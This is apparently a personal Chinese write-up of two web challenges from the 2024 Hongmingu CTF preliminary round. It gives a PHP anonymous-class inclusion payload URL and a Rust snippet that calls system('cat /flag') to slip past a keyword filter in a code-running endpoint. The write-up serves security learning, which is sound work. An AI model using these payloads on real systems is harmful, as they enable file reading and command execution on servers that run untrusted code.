【Web】2024红明谷CTF初赛个人wp(2/4)

目录

ezphp

playground


时间原因只打了2个小时,出了2道,简单记录一下

ezphp

参考文章

PHP filter chains: file read from error-based oracle

https://github.com/synacktiv/php_filter_chains_oracle_exploit

用上面的脚本爆出部分源码,直接/flag.php?ezphpPhp=1访问

创建了一个匿名类

参考文章:

php匿名类 - Hi! 阿金

最终payload:

复制代码
/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0

🤬本地通了,远程一直not found,重开靶机后一样的payload直接打出来了

playground

进题是一段rust代码

重点关注post的/rust_code这个路由

复制代码
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
    if code.contains("std") {
        return "Error: std is not allowed".to_string();
    }
    //generate a random 5 length file name
    let file_name = rand::thread_rng()
        .sample_iter(&rand::distributions::Alphanumeric)
        .take(5)
        .map(char::from)
        .collect::<String>();
    if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
        file.write_all(code.as_bytes());
    }
    if let Ok(build_output) = Command::new("rustc")
        .arg(format!("playground/{}.rs",&file_name))
        .arg("-C")
        .arg("debuginfo=0")
        .arg("-C")
        .arg("opt-level=3")
        .arg("-o")
        .arg(format!("playground/{}",&file_name))
        .output() {
        if !build_output.status.success(){
            fs::remove_file(format!("playground/{}.rs",&file_name));
            return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
        }
    }
    fs::remove_file(format!("playground/{}.rs",&file_name));
    if let Ok(output) = Command::new(format!("playground/{}",&file_name))
        .output() {
        if !output.status.success(){
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
        } else{
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
        }
    }
    return String::default();

}
  1. 首先,函数检查输入的代码是否包含了"std",如果包含,则返回一个错误消息,表示不允许使用标准库(std)。

  2. 然后,函数生成一个随机的长度为5的文件名,该文件名用于存储接收到的Rust代码。

  3. 接着,函数尝试创建一个名为playground/{}.rs的文件,其中{}会被随机生成的文件名所替代,并将接收到的代码写入文件中。

  4. 接下来,函数使用Command::new("rustc")创建一个Rust编译器的命令,该命令编译刚刚创建的Rust源代码文件,并传入了一些编译选项,例如关闭调试信息和设置优化级别。

  5. 如果编译成功,则继续执行下一步,否则删除刚创建的Rust源代码文件,并返回编译器输出的错误消息。

  6. 如果编译成功,函数继续使用Command::new(format!("playground/{}", &file_name))创建一个命令,该命令运行刚刚编译生成的可执行文件。

  7. 如果运行成功,则返回程序的标准输出结果,否则删除生成的可执行文件,并返回程序的标准错误输出结果。

  8. 最后,无论是编译失败还是运行失败,都会删除生成的Rust源代码文件,并返回一个空字符串。

payload:

复制代码
extern "C"{
    fn system(cmd: *const u8) -> i32;
}
fn main(){
    unsafe{
        system("cat /flag".as_ptr());
    }
}

直接放请求体里即可

相关推荐
袁哥大话安全8 小时前
巡隐WEBSHELL扫描软件
人工智能·安全·web
hengdonghui2 天前
Writeup 4 N1BOOK afr_1
ctf·伪协议·任意文件读取
hengdonghui2 天前
Writeup 4 N1BOOK 常见的搜集
ctf·信息搜集
佳心于琪2 天前
CTFshow——phpCVE
web·ctfshow·phpcve
hengdonghui4 天前
Writeup 4 N1BOOK SQL注入-1
ctf·sql注入·union·字符型注入
传奇开心果编程5 天前
【Compose Multiplatform 跨端开发学与练】第8课 资源管理与主题
android·windows·学习·ios·kotlin·web·composer
传奇开心果编程5 天前
【Compose Multiplatform 跨端开发学与练】第9课 测试与调试
android·学习·macos·ios·kotlin·web·composer
hengdonghui5 天前
Writeup 4 红帽杯 2021 WebsiteManger
web·ctf·ssrf·sql布尔盲注
hengdonghui6 天前
Writeup 4 2020 - 之江杯 - 异常的流量分析
wireshark·ctf·流量分析
Seraphina366 天前
DVWA(SQL注入-low,medium,XSS反射-low)
前端·数据库·笔记·sql·网络安全·web·xss